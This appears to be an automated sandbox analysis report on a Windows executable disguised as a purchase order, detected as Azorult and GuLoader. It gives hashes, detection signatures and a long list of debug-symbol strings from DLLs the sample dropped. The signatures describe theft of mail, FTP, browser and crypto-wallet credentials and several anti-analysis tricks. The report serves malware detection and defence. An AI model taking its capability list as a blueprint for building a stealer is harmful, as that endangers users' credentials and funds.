Windows Analysis Report
PO No. 3200005919.exe

Overview

General Information

Sample Name: PO No. 3200005919.exe
Analysis ID: 755357
MD5: 9453cdcf8221341d06bac47b8ab3aa19
SHA1: c35a23cdc61eb42594e1a39a23ccae06399263c0
SHA256: 7490acc48d1659234d61c1716c0d549880a98375f502502b60dcc71b49f7f14f
Infos:

Detection

Azorult, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Azorult
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected GuLoader
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Tries to steal Crypto Currency Wallets
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Self deletion via cmd or bat file
Tries to harvest and steal ftp login credentials
Tries to harvest and steal Bitcoin Wallet information
Found many strings related to Crypto-Wallets (likely being stolen)
Tries to steal Instant Messenger accounts or passwords
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality for execution timing, often used to detect debuggers
Queries information about the installed CPU (vendor, model number etc)
PE file does not import any functions
Sample file is different than original file name gathered from version info
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection

barindex
Source: PO No. 3200005919.exe ReversingLabs: Detection: 61%
Source: PO No. 3200005919.exe Virustotal: Detection: 47% Perma Link
Source: PO No. 3200005919.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: PO No. 3200005919.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7160196459.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197174638.000000001E688000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7197871193.000000001E6B0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197956244.000000001E6B4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164106750.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197668078.000000001E69C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164222655.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201066945.000000001D980000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172137254.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172491492.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr
Source: Binary string: ucrtbase.pdb source: PO No. 3200005919.exe, 00000005.00000003.7214861281.000000001DB7C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7186840993.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7189033393.0000000000060000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192708827.000000001E600000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192605806.000000001E5FC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139684497.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.5.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7193344870.000000001E61C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193449641.000000001E620000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7145957838.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193561822.000000001E624000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170103702.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170941292.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7155669494.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7154557567.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7159539905.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197003158.000000001E678000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164222655.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7165324032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7144272032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196442274.000000001E65C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7156953736.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196550840.000000001E660000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7153506909.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7152463127.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.5.dr
Source: Binary string: vcruntime140.i386.pdbGCTL source: PO No. 3200005919.exe, 00000005.00000003.7191720901.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7216382572.000000001DC98000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201066945.000000001D980000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172137254.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172491492.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7138655949.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7150187588.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170103702.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170941292.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7280858464.000000001E270000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192605806.000000001E5FC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139597928.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7138655949.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139684497.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7197668078.000000001E69C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7162881339.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7163552141.000000001DCC4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7157618680.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158930983.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158247147.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158985607.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source: Binary string: qipcap.pdb source: PO No. 3200005919.exe, 00000001.00000002.7112633568.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PO No. 3200005919.exe, 00000001.00000002.7114872753.000000000289B000.00000004.00000800.00020000.00000000.sdmp, qipcap.dll.1.dr
Source: Binary string: msvcp140.i386.pdb source: PO No. 3200005919.exe, 00000005.00000003.7207591372.000000001D9A8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174962411.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174178046.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source: Binary string: ucrtbase.pdbUGP source: PO No. 3200005919.exe, 00000005.00000003.7214861281.000000001DB7C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7186840993.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7189033393.0000000000060000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7151568728.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183128266.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7153506909.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7154557567.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.5.dr
